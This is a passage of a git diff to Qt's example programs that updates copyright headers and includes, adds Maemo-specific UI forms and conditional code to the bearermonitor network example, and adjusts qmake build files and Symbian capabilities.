+contains(QT_CONFIG, xmlpatterns):!contains(QT_CONFIG, no-gui): SUBDIRS += xmlpatterns
 contains(DEFINES, QT_NO_CURSOR): SUBDIRS -= mainwindows
 
 # install
diff --git a/examples/graphicsview/padnavigator/padnavigator.qrc b/examples/graphicsview/padnavigator/padnavigator.qrc
index 30ee8e1..b26ab92 100644
--- a/examples/graphicsview/padnavigator/padnavigator.qrc
+++ b/examples/graphicsview/padnavigator/padnavigator.qrc
@@ -9,6 +9,5 @@
   <file>images/kopeteavailable.png</file>
   <file>images/metacontact_online.png</file>
   <file>images/minitools.png</file>
-  <file>images/blue_angle_swirl.jpg</file>
  </qresource>
 </RCC>
diff --git a/examples/graphicsview/weatheranchorlayout/main.cpp b/examples/graphicsview/weatheranchorlayout/main.cpp
index aa06476..391fdd8 100644
--- a/examples/graphicsview/weatheranchorlayout/main.cpp
+++ b/examples/graphicsview/weatheranchorlayout/main.cpp
@@ -97,6 +97,8 @@ protected:
             case Qt::MaximumSize:
                 sh = QSizeF(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX);
                 break;
+            default:
+                break;
         }
          return sh;
     }
@@ -167,15 +169,6 @@ private:
 };
 
 
-static QGraphicsProxyWidget *createItem(const QString &name = "Unnamed")
-{
-    QGraphicsProxyWidget *w = new QGraphicsProxyWidget;
-    w->setWidget(new QPushButton(name));
-    w->setData(0, name);
-    w->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred);
-    return w;
-}
-
 int main(int argc, char **argv)
 {
     Q_INIT_RESOURCE(weatheranchorlayout);
diff --git a/examples/multimedia/audioinput/audioinput.pro b/examples/multimedia/audioinput/audioinput.pro
index a54d452..6a1c79d 100644
--- a/examples/multimedia/audioinput/audioinput.pro
+++ b/examples/multimedia/audioinput/audioinput.pro
@@ -12,5 +12,6 @@ INSTALLS += target sources
 
 symbian {
     TARGET.UID3 = 0xA000D7BF
+    TARGET.CAPABILITY += UserEnvironment
     include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
 }
diff --git a/examples/network/bearercloud/bearercloud.h b/examples/network/bearercloud/bearercloud.h
index f09cb53..09de4c6 100644
--- a/examples/network/bearercloud/bearercloud.h
+++ b/examples/network/bearercloud/bearercloud.h
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-#include <qnetworkconfigmanager.h>
+#include <QNetworkConfigurationManager>
 
 #include <QGraphicsScene>
 #include <QMap>
diff --git a/examples/network/bearercloud/cloud.cpp b/examples/network/bearercloud/cloud.cpp
index 81e13a6..d041034 100644
--- a/examples/network/bearercloud/cloud.cpp
+++ b/examples/network/bearercloud/cloud.cpp
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
@@ -253,10 +253,12 @@ void Cloud::stateChanged(QNetworkSession::State state)
     else
         tooltip += tr("<b>%1</b><br>").arg(configuration.name());
 
+#ifndef QT_NO_NETWORKINTERFACE
     const QNetworkInterface interface = session->interface();
     if (interface.isValid())
         tooltip += tr("<br>Interface: %1").arg(interface.humanReadableName());
     tooltip += tr("<br>Id: %1").arg(configuration.identifier());
+#endif
 
     const QString bearerName = configuration.bearerName();
     if (!bearerName.isEmpty())
diff --git a/examples/network/bearercloud/cloud.h b/examples/network/bearercloud/cloud.h
index 38f8aff..9e25fb6 100644
--- a/examples/network/bearercloud/cloud.h
+++ b/examples/network/bearercloud/cloud.h
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
@@ -39,8 +39,8 @@
 **
 ****************************************************************************/
 
-#include <qnetworkconfiguration.h>
-#include <qnetworksession.h>
+#include <QNetworkConfiguration>
+#include <QNetworkSession>
 
 #include <QGraphicsItem>
 QT_USE_NAMESPACE
@@ -56,7 +56,7 @@ class Cloud : public QObject, public QGraphicsItem
     Q_INTERFACES(QGraphicsItem)
 
 public:
-    Cloud(const QNetworkConfiguration &config, QGraphicsItem *parent = 0);
+    explicit Cloud(const QNetworkConfiguration &config, QGraphicsItem *parent = 0);
     ~Cloud();
 
     enum { Type = UserType + 1 };
diff --git a/examples/network/bearermonitor/bearermonitor.cpp b/examples/network/bearermonitor/bearermonitor.cpp
index 5b2bad1..4a6c6ff 100644
--- a/examples/network/bearermonitor/bearermonitor.cpp
+++ b/examples/network/bearermonitor/bearermonitor.cpp
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
@@ -43,7 +43,7 @@
 #include "sessionwidget.h"
 
 #include <QDebug>
-
+#include <QMessageBox>
 #ifdef Q_OS_WIN
 #include <winsock2.h>
 #undef interface
@@ -57,15 +57,20 @@ BearerMonitor::BearerMonitor(QWidget *parent)
 :   QWidget(parent)
 {
     setupUi(this);
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+    newSessionButton->hide();
+    deleteSessionButton->hide();
+#else
     delete tabWidget->currentWidget();
     sessionGroup->hide();
-#if defined (Q_OS_SYMBIAN) || defined(Q_OS_WINCE)	
+#endif
+#if defined (Q_OS_SYMBIAN) || defined(Q_OS_WINCE) || defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
     setWindowState(Qt::WindowMaximized);
 #endif
     updateConfigurations();
-
+#if !defined(Q_WS_MAEMO_5) && !defined(Q_WS_MAEMO_6)
     onlineStateChanged(!manager.allConfigurations(QNetworkConfiguration::Active).isEmpty());
-
+#endif
     QNetworkConfiguration defaultConfiguration = manager.defaultConfiguration();
     for (int i = 0; i < treeWidget->topLevelItemCount(); ++i) {
         QTreeWidgetItem *item = treeWidget->topLevelItem(i);
@@ -101,9 +106,10 @@ BearerMonitor::BearerMonitor(QWidget *parent)
 
     connect(newSessionButton, SIGNAL(clicked()),
             this, SLOT(createNewSession()));
+#if !defined(Q_WS_MAEMO_5) && !defined(Q_WS_MAEMO_6)
     connect(deleteSessionButton, SIGNAL(clicked()),
             this, SLOT(deleteSession()));
-
+#endif
     connect(scanButton, SIGNAL(clicked()),
             this, SLOT(performScan()));
 }
@@ -234,9 +240,15 @@ void BearerMonitor::updateConfigurations()
 void BearerMonitor::onlineStateChanged(bool isOnline)
 {
     if (isOnline)
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+        QMessageBox::information(this, "Connection state changed", "Online", QMessageBox::Close);
+    else
+        QMessageBox::information(this, "Connection state changed", "Offline", QMessageBox::Close);
+#else
         onlineState->setText(tr("Online"));
     else
         onlineState->setText(tr("Offline"));
+#endif
 }
 
 #ifdef Q_OS_WIN
@@ -362,7 +374,9 @@ void BearerMonitor::createSessionFor(QTreeWidgetItem *item)
 
     tabWidget->addTab(session, conf.name());
 
+#if !defined(Q_WS_MAEMO_5) && !defined(Q_WS_MAEMO_6)
     sessionGroup->show();
+#endif
 
     sessionWidgets.append(session);
 }
@@ -374,6 +388,7 @@ void BearerMonitor::createNewSession()
     createSessionFor(item);
 }
 
+#if !defined(Q_WS_MAEMO_5) && !defined(Q_WS_MAEMO_6)
 void BearerMonitor::deleteSession()
 {
     SessionWidget *session = qobject_cast<SessionWidget *>(tabWidget->currentWidget());
@@ -386,6 +401,7 @@ void BearerMonitor::deleteSession()
             sessionGroup->hide();
     }
 }
+#endif
 
 void BearerMonitor::performScan()
 {
diff --git a/examples/network/bearermonitor/bearermonitor.h b/examples/network/bearermonitor/bearermonitor.h
index d7025dd..3172b5b 100644
--- a/examples/network/bearermonitor/bearermonitor.h
+++ b/examples/network/bearermonitor/bearermonitor.h
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
@@ -46,6 +46,8 @@
 #include <qnetworksession.h>
 #if defined (Q_OS_SYMBIAN) || defined(Q_OS_WINCE)	
 #include "ui_bearermonitor_240_320.h"
+#elif defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+#include "ui_bearermonitor_maemo.h"
 #else
 #include "ui_bearermonitor_640_480.h"
 #endif
@@ -80,8 +82,9 @@ private slots:
 
     void createSessionFor(QTreeWidgetItem *item);
     void createNewSession();
+#if !defined(Q_WS_MAEMO_5) && !defined(Q_WS_MAEMO_6)
     void deleteSession();
-
+#endif
     void performScan();
 
 private:
diff --git a/examples/network/bearermonitor/bearermonitor.pro b/examples/network/bearermonitor/bearermonitor.pro
index 4b86187..42100bc 100644
--- a/examples/network/bearermonitor/bearermonitor.pro
+++ b/examples/network/bearermonitor/bearermonitor.pro
@@ -1,3 +1,6 @@
+TARGET = bearermonitor
+QT = core gui network
+
 HEADERS = sessionwidget.h \
           bearermonitor.h
 
@@ -5,22 +8,18 @@ SOURCES = main.cpp \
           bearermonitor.cpp \
           sessionwidget.cpp
 
-FORMS = bearermonitor_240_320.ui \
-        bearermonitor_640_480.ui \
-        sessionwidget.ui
-
-TARGET = bearermonitor
-
-QT = core gui network
-
-win32 {
-    !wince* {
-        LIBS += -lWs2_32
-    } else {
-        LIBS += -lWs2
-    }
+maemo5|maemo6 {
+  FORMS = bearermonitor_maemo.ui \
+          sessionwidget_maemo.ui
+} else {
+  FORMS = bearermonitor_240_320.ui \
+          bearermonitor_640_480.ui \
+          sessionwidget.ui
 }
 
+win32:!wince*:LIBS += -lWs2_32
+wince*:LIBS += -lWs2
+
 CONFIG += console
 
 symbian:TARGET.CAPABILITY = NetworkServices ReadUserData
diff --git a/examples/network/bearermonitor/bearermonitor_maemo.ui b/examples/network/bearermonitor/bearermonitor_maemo.ui
new file mode 100644
index 0000000..5f17e7d
--- /dev/null
+++ b/examples/network/bearermonitor/bearermonitor_maemo.ui
@@ -0,0 +1,310 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>BearerMonitor</class>
+ <widget class="QWidget" name="BearerMonitor">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>612</width>
+    <height>495</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Form</string>
+  </property>
+  <layout class="QHBoxLayout" name="horizontalLayout_3">
+   <item>
+    <widget class="QTabWidget" name="tabWidget">
+     <property name="sizePolicy">
+      <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+       <horstretch>0</horstretch>
+       <verstretch>0</verstretch>
+      </sizepolicy>
+     </property>
+     <property name="currentIndex">
+      <number>0</number>
+     </property>
+     <property name="usesScrollButtons">
+      <bool>false</bool>
+     </property>
+     <widget class="QWidget" name="tab">
+      <attribute name="title">
+       <string>Configurations</string>
+      </attribute>
+      <layout class="QHBoxLayout" name="horizontalLayout_2">
+       <item>
+        <widget class="QTreeWidget" name="treeWidget">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="Preferred" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <attribute name="headerVisible">
+          <bool>false</bool>
+         </attribute>
+         <column>
+          <property name="text">
+           <string>1</string>
+          </property>
+         </column>
+        </widget>
+       </item>
+       <item>
+        <layout class="QVBoxLayout" name="verticalLayout_2">
+         <item>
+          <layout class="QHBoxLayout" name="configurationNameLayout">
+           <item>
+            <widget class="QLabel" name="configurationNameLabel">
+             <property name="text">
+              <string>Name:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationName">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string/>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationStateLayout">
+           <item>
+            <widget class="QLabel" name="configurationStateLabel">
+             <property name="text">
+              <string>State:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationState">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string/>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationTypeLayout">
+           <item>
+            <widget class="QLabel" name="configurationTypeLabel">
+             <property name="text">
+              <string>Type:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationType">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string>Invalid</string>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationPurposeLayout">
+           <item>
+            <widget class="QLabel" name="configurationPurposeLabel">
+             <property name="text">
+              <string>Purpose:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationPurpose">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string>Unknown</string>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationIdentifierLayout">
+           <item>
+            <widget class="QLabel" name="configurationIdentifierLabel">
+             <property name="text">
+              <string>Identifier:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationIdentifier">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string/>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationRoamingLayout">
+           <item>
+            <widget class="QLabel" name="configurationRoamingLabel">
+             <property name="text">
+              <string>Roaming:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationRoaming">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string/>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <layout class="QHBoxLayout" name="configurationChildrenLayout">
+           <item>
+            <widget class="QLabel" name="configurationChildrenLabel">
+             <property name="text">
+              <string>Children:</string>
+             </property>
+            </widget>
+           </item>
+           <item>
+            <widget class="QLabel" name="configurationChildren">
+             <property name="sizePolicy">
+              <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+               <horstretch>0</horstretch>
+               <verstretch>0</verstretch>
+              </sizepolicy>
+             </property>
+             <property name="text">
+              <string/>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </item>
+         <item>
+          <widget class="QGroupBox" name="nlaGroup">
+           <property name="title">
+            <string>Network Location Awareness</string>
+           </property>
+           <layout class="QHBoxLayout" name="horizontalLayout">
+            <item>
+             <widget class="QPushButton" name="registerButton">
+              <property name="text">
+               <string>Register</string>
+              </property>
+             </widget>
+            </item>
+            <item>
+             <widget class="QPushButton" name="unregisterButton">
+              <property name="text">
+               <string>Unregister</string>
+              </property>
+             </widget>
+            </item>
+           </layout>
+          </widget>
+         </item>
+         <item>
+          <widget class="QPushButton" name="newSessionButton">
+           <property name="text">
+            <string>New Session</string>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <widget class="QPushButton" name="deleteSessionButton">
+           <property name="text">
+            <string>Delete Session</string>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <widget class="QPushButton" name="scanButton">
+           <property name="text">
+            <string>Scan</string>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <widget class="QProgressBar" name="progressBar">
+           <property name="maximum">
+            <number>0</number>
+           </property>
+           <property name="value">
+            <number>23280</number>
+           </property>
+           <property name="textVisible">
+            <bool>false</bool>
+           </property>
+           <property name="invertedAppearance">
+            <bool>false</bool>
+           </property>
+           <property name="format">
+            <string>%p%</string>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <spacer name="verticalSpacer">
+           <property name="orientation">
+            <enum>Qt::Vertical</enum>
+           </property>
+           <property name="sizeHint" stdset="0">
+            <size>
+             <width>20</width>
+             <height>40</height>
+            </size>
+           </property>
+          </spacer>
+         </item>
+        </layout>
+       </item>
+      </layout>
+     </widget>
+    </widget>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>
diff --git a/examples/network/bearermonitor/sessionwidget.cpp b/examples/network/bearermonitor/sessionwidget.cpp
index 46ffb20..443f4b2 100644
--- a/examples/network/bearermonitor/sessionwidget.cpp
+++ b/examples/network/bearermonitor/sessionwidget.cpp
@@ -47,6 +47,13 @@ SessionWidget::SessionWidget(const QNetworkConfiguration &config, QWidget *paren
 {
     setupUi(this);
 
+#ifdef QT_NO_NETWORKINTERFACE
+    interfaceName->setVisible(false);
+    interfaceNameLabel->setVisible(false);
+    interfaceGuid->setVisible(false);
+    interfaceGuidLabel->setVisible(false);
+#endif
+
     session = new QNetworkSession(config, this);
 
     connect(session, SIGNAL(stateChanged(QNetworkSession::State)),
@@ -68,6 +75,10 @@ SessionWidget::SessionWidget(const QNetworkConfiguration &config, QWidget *paren
             this, SLOT(closeSession()));
     connect(stopSessionButton, SIGNAL(clicked()),
             this, SLOT(stopSession()));
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+    connect(deleteSessionButton, SIGNAL(clicked()),
+            this, SLOT(deleteSession()));
+#endif
 }
 
 SessionWidget::~SessionWidget()
@@ -84,6 +95,13 @@ void SessionWidget::timerEvent(QTimerEvent *e)
     }
 }
 
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+void SessionWidget::deleteSession()
+{
+    delete this;
+}
+#endif
+
 void SessionWidget::updateSession()
 {
     updateSessionState(session->state());
@@ -102,8 +120,10 @@ void SessionWidget::updateSession()
         bearer->setText(c.bearerName());
     }
 
+#ifndef QT_NO_NETWORKINTERFACE
     interfaceName->setText(session->interface().humanReadableName());
     interfaceGuid->setText(session->interface().name());
+#endif
 }
 
 void SessionWidget::openSession()
diff --git a/examples/network/bearermonitor/sessionwidget.h b/examples/network/bearermonitor/sessionwidget.h
index cc9c067..5e9d62c 100644
--- a/examples/network/bearermonitor/sessionwidget.h
+++ b/examples/network/bearermonitor/sessionwidget.h
@@ -42,8 +42,11 @@
 #ifndef SESSIONWIDGET_H
 #define SESSIONWIDGET_H
 
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+#include "ui_sessionwidget_maemo.h"
+#else
 #include "ui_sessionwidget.h"
-
+#endif
 #include <qnetworksession.h>
 
 QT_USE_NAMESPACE
@@ -53,7 +56,7 @@ class SessionWidget : public QWidget, public Ui_SessionWidget
     Q_OBJECT
 
 public:
-    SessionWidget(const QNetworkConfiguration &config, QWidget *parent = 0);
+    explicit SessionWidget(const QNetworkConfiguration &config, QWidget *parent = 0);
     ~SessionWidget();
 
     void timerEvent(QTimerEvent *);
@@ -68,7 +71,9 @@ private Q_SLOTS:
     void closeSession();
     void stopSession();
     void updateSession();
-
+#if defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+    void deleteSession();
+#endif
 private:
     QNetworkSession *session;
     int statsTimer;
diff --git a/examples/network/bearermonitor/sessionwidget_maemo.ui b/examples/network/bearermonitor/sessionwidget_maemo.ui
new file mode 100644
index 0000000..86f915c
--- /dev/null
+++ b/examples/network/bearermonitor/sessionwidget_maemo.ui
@@ -0,0 +1,262 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>SessionWidget</class>
+ <widget class="QWidget" name="SessionWidget">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>497</width>
+    <height>615</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Form</string>
+  </property>
+  <layout class="QHBoxLayout" name="horizontalLayout">
+   <item>
+    <layout class="QVBoxLayout" name="verticalLayout">
+     <item>
+      <layout class="QHBoxLayout" name="sessionIdLayout">
+       <item>
+        <widget class="QLabel" name="sessionIdLabel">
+         <property name="text">
+          <string>Session ID:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="sessionId">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="sessionStateLayout">
+       <item>
+        <widget class="QLabel" name="sessionStateLabel">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="Preferred" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string>Session State:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="sessionState">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string>Invalid</string>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="configurationLayout">
+       <item>
+        <widget class="QLabel" name="configurationLabel">
+         <property name="text">
+          <string>Configuration:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="configuration">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="bearerLayout">
+       <item>
+        <widget class="QLabel" name="bearerLabel">
+         <property name="text">
+          <string>Bearer:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="bearer">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="interfaceNameLayout">
+       <item>
+        <widget class="QLabel" name="interfaceNameLabel">
+         <property name="text">
+          <string>Interface Name:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="interfaceName">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="interfaceGuidLayout">
+       <item>
+        <widget class="QLabel" name="interfaceGuidLabel">
+         <property name="text">
+          <string>Interface GUID:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="interfaceGuid">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="lastErrorLayout">
+       <item>
+        <widget class="QLabel" name="lastErrorLabel">
+         <property name="text">
+          <string>Last Error:</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="lastError">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="errorStringLayout">
+       <item>
+        <widget class="QLabel" name="errorStringLabel">
+         <property name="text">
+          <string>Error String</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QLabel" name="errorString">
+         <property name="sizePolicy">
+          <sizepolicy hsizetype="MinimumExpanding" vsizetype="Preferred">
+           <horstretch>0</horstretch>
+           <verstretch>0</verstretch>
+          </sizepolicy>
+         </property>
+         <property name="text">
+          <string/>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <layout class="QVBoxLayout" name="verticalLayout_2">
+     <item>
+      <widget class="QPushButton" name="openSessionButton">
+       <property name="text">
+        <string>Open</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="closeSessionButton">
+       <property name="text">
+        <string>Close</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="openSyncSessionButton">
+       <property name="text">
+        <string>Blocking Open</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="stopSessionButton">
+       <property name="text">
+        <string>Stop</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="deleteSessionButton">
+       <property name="text">
+        <string>Delete</string>
+       </property>
+      </widget>
+     </item>
+    </layout>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>
diff --git a/examples/network/fortuneclient/fortuneclient.pro b/examples/network/fortuneclient/fortuneclient.pro
index 2b65f2f..edbf14d 100644
--- a/examples/network/fortuneclient/fortuneclient.pro
+++ b/examples/network/fortuneclient/fortuneclient.pro
@@ -11,7 +11,7 @@ INSTALLS += target sources
 
 symbian {
     include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     TARGET.CAPABILITY = "NetworkServices ReadUserData WriteUserData"
     TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
diff --git a/examples/network/fortuneserver/fortuneserver.pro b/examples/network/fortuneserver/fortuneserver.pro
index acb285b..474ec11 100644
--- a/examples/network/fortuneserver/fortuneserver.pro
+++ b/examples/network/fortuneserver/fortuneserver.pro
@@ -12,8 +12,8 @@ INSTALLS += target sources
 symbian {
     TARGET.UID3 = 0xA000CF71
     include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
-    TARGET.CAPABILITY = "All -TCB"
+    TARGET.CAPABILITY = "NetworkServices ReadUserData"
     TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
 }
diff --git a/examples/network/network-chat/network-chat.pro b/examples/network/network-chat/network-chat.pro
index 7438641..1215aea 100644
--- a/examples/network/network-chat/network-chat.pro
+++ b/examples/network/network-chat/network-chat.pro
@@ -20,7 +20,7 @@ INSTALLS += target sources
 
 symbian {
     include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
-    HEADERS += $$QT_SOURCE_TREE/examples/network/qftp/sym_iap_util.h
+    INCLUDEPATH += $$QT_SOURCE_TREE/examples/network/qftp/
     LIBS += -lesock -lcommdb -linsock # For IAP selection
     LIBS += -lcharconv
     TARGET.CAPABILITY = "NetworkServices ReadUserData WriteUserData"
diff --git a/examples/network/network.pro b/examples/network/network.pro
index bd632b8..16c4087 100644
--- a/examples/network/network.pro
+++ b/examples/network/network.pro
@@ -1,9 +1,13 @@
 TEMPLATE      = subdirs
-SUBDIRS       = blockingfortuneclient \
+SUBDIRS       = \
+                download \
+                downloadmanager
+
+!contains(QT_CONFIG, no-gui) {
+    SUBDIRS +=  \
+                blockingfortuneclient \
                 broadcastreceiver \
                 broadcastsender \
-                download \
-                downloadmanager \
                 fortuneclient \
                 fortuneserver \
                 qftp \
@@ -15,13 +19,14 @@ SUBDIRS       = blockingfortuneclient \
                 bearercloud \
                 bearermonitor
 
-# no QProcess
-!vxworks:!qnx:SUBDIRS += network-chat
+    # no QProcess
+    !vxworks:!qnx:SUBDIRS += network-chat
 
-symbian: SUBDIRS = qftp
